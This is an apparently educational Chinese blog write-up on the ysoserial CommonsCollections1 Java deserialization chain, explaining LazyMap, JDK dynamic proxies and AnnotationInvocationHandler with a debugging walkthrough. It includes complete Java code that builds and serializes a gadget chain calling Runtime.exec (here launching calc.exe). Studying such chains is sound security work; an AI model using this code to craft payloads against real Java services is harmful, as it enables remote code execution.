0x01 漏洞描述
ysoserial是一款知名的java反序列化利用工具,里面集合了各种java反序列化payload。ysoserial CC1链与之前提到的CC链有些不同,之前的CC链使用的是TransformedMap来进行利用,CC1链使用的是LazyMap中的方法。
0x02 漏洞分析
LazyMap
LazyMap与TransformedMap触发有所不同,当map对象调用get方法获取不存在的key时就会调用其factory的transform方法。分析以下代码:
public class CommonsCollections1 {public static void main(String[] args) throws Exception{ChainedTransformer chain = new ChainedTransformer(new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec",new Class[] { String.class }, new Object[]{"calc.exe"})});HashMap innermap = new HashMap();LazyMap map = (LazyMap) LazyMap.decorate(innermap,chain);map.get("test");}}
在LazyMap.decorate()处下断点
F7跟进断点,decorate方法返回了一个LazyMap对象,并把ChainedTransformer对象作为factory属性。

当调用map.get(“test”)时,如果key不存在则会调用自身的factory.transform方法生成一个value返回,这样就实现了对ChainedTransformer对象的transform方法调用。
既然这样可不可以仿照p牛的CC链使用AnnotationInvocationHandler实现反序列化呢?答案是不可以的,因为LazyMap只有在get的key不存在时才会触发transform方法,而在AnnotationInvocationHandler#readObject中,setValue()方法只能触发TransformedMap的transform方法。由于这一触发方法的差别,CC1链会比p牛的CC链更加复杂一些。
动态代理
在java的java.lang.reflect包下提供了一个Proxy类和一个InvocationHandler接口,通过这个类和这个接口可以生成JDK动态代理类和动态代理对象。每一个动态代理类的调用处理程序都必须实现InvocationHandler接口,并且每个代理类的实例都关联到了实现该接口的动态代理类调用处理程序中,当我们通过动态代理对象调用一个方法时候,这个方法的调用就会被转发到实现InvocationHandler接口类的invoke方法来调用。
动态代理在我的理解下类似于对函数进行hook,很像frida对函数进行hook。一个简单的示例:
public class Demo {public static void main(String[] args) {class Test implements InvocationHandler {private Map map;public Test(Map map){this.map = map;}@Overridepublic Object invoke(Object proxy, Method method, Object[] args) throws Throwable {System.out.println("invoke:"+method.getName().toString());if (method.getName().compareTo("get") == 0){return "Map.get() method!";}return method.invoke(this.map,args);}}InvocationHandler invocationHandler = new Test(new HashMap());Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invocationHandler);proxyMap.put("hello","world");String result = (String) proxyMap.get("hello");System.out.println(result);}}
public static Object newProxyInstance(ClassLoader loader,Class<?>[] interfaces, InvocationHandler h)Proxy.newProxyInstance作用就是创建一个代理类对象,它接收三个参数:
loader:一个classloader对象,定义了由哪个classloader对象对生成的代理类进行加载interfaces:一个interface对象数组,表示我们将要给我们的代理对象提供一组什么样的接口,如果我们提供了这样一个接口对象数组,那么也就是声明了代理类实现了这些接口,代理类就可以调用接口中声明的所有方法。h:一个InvocationHandler对象,表示的是当动态代理对象调用方法的时候关联到哪一个InvocationHandler对象上,并最终由其调用。
运行以上代码,调用代理类的put和get方法,类似于hook了Map接口的所有方法。
AnnotationInvocationHandler
与p牛使用的TransformedMap的CC链不同之处,两条链都借用了AnnotationInvocationHandler,不过CC1链借用了两次。AnnotationInvocationHandler实现了InvocationHandler接口invoke的实现,并且在invoke方法中,存在对memberValues进行get方法调用。
结合上文提到的动态代理,我们可以使用以下代码实现对Map的动态代理类,AnnotationInvocationHandler作为InvocationHandler对象,生成的proxy_map调用任何方法即可执行命令。
public class CommonsCollections1 {public static void main(String[] args) throws Exception{ChainedTransformer chain = new ChainedTransformer(new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec",new Class[] { String.class }, new Object[]{"calc.exe"})});HashMap innermap = new HashMap();LazyMap map = (LazyMap) LazyMap.decorate(innermap,chain);Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);handler_constructor.setAccessible(true);// 创建一个与代理对象相关联的InvocationHandlerInvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map);// 创建代理对象proxy_map来代理map,代理对象执行的所有方法都会替换执行InvocationHandler中的invoke方法Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler);proxy_map.entrySet();}}
如果直接将proxy_map进行序列化,其中memberValues是LazyMap,在反序列化的时候依旧不会触发transform方法。所以可以通过AnnotationInvocationHandler对proxy_map进行再封装,整体代码如下:
public class CommonsCollections1 {public static void main(String[] args) throws Exception{ChainedTransformer chain = new ChainedTransformer(new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec",new Class[] { String.class }, new Object[]{"calc.exe"})});HashMap innermap = new HashMap();LazyMap map = (LazyMap) LazyMap.decorate(innermap,chain);Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);handler_constructor.setAccessible(true);// 创建一个与代理对象相关联的InvocationHandlerInvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map);// 创建代理对象proxy_map来代理map,代理对象执行的所有方法都会替换执行InvocationHandler中的invoke方法Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler);try{ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("evil1.bin"));outputStream.writeObject(proxy_map);outputStream.close();ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("evil1.bin"));inputStream.readObject();}catch(Exception e){e.printStackTrace();}Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);AnnotationInvocationHandler_Constructor.setAccessible(true);InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);try{ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("evil1.bin"));outputStream.writeObject(handler);outputStream.close();ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("evil1.bin"));inputStream.readObject();}catch(Exception e){e.printStackTrace();}}}
通过调试,反序列化对象handler显示为AnnotationInvocationHandler类,memberValues也变成了Map代理类对象。在AnnotationInvocationHandler#readObject时,会在执行this.memberValues.entrySet()方法时调用AnnotationInvocationHandler的invoke方法,即调用LazyMap的get方法,触发命令执行。

逻辑没有问题,结果也没有问题,唯一有点问题的是在debug调试的时候,位于该行的断点并没有触发,断点反而断在var4.next处,很怪。
F7跟进会到AbstractMapDecorator#entrySet处
再F7会回到var4.next(),此时再F7会进入AnnotationInvocationHandler#invoke
直到53行会调用LazyMap的get方法,参数为entrySet,弹出计算器,var6返回null,扔出异常,程序结束。
虽然调试起来很怪,但从堆栈来看调用关系还是很清晰的。
整个CC1利用链:
ObjectInputStream.readObject()AnnotationInvocationHandler.readObject()Map(Proxy).entrySet()AnnotationInvocationHandler.invoke()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()
0x03 相关问题
1.报错:java.lang.Override missing element entrySet
查找发现有的文章说jdk8的环境下去载入生成的payload,会发生java.lang.Override missing element entrySet的错误,错误的产生原因主要在于jdk8更新了AnnotationInvocationHandler。但事实上是8u71以后才更新的AnnotationInvocationHandler。详细查看报错,发现报错点与代码并没有对应上,怀疑是jdk版本切换没有成功。
最后发现原来jdk8u5实际路径是jdk8u202,出现的原因猜测是因为我是把jdk8u5安装在移动硬盘上的,在未连接移动硬盘的情况下打开了IDEA,IDEA自动进行了配置,将1.8u5对应的JDK改成了本机的JDK8U202。
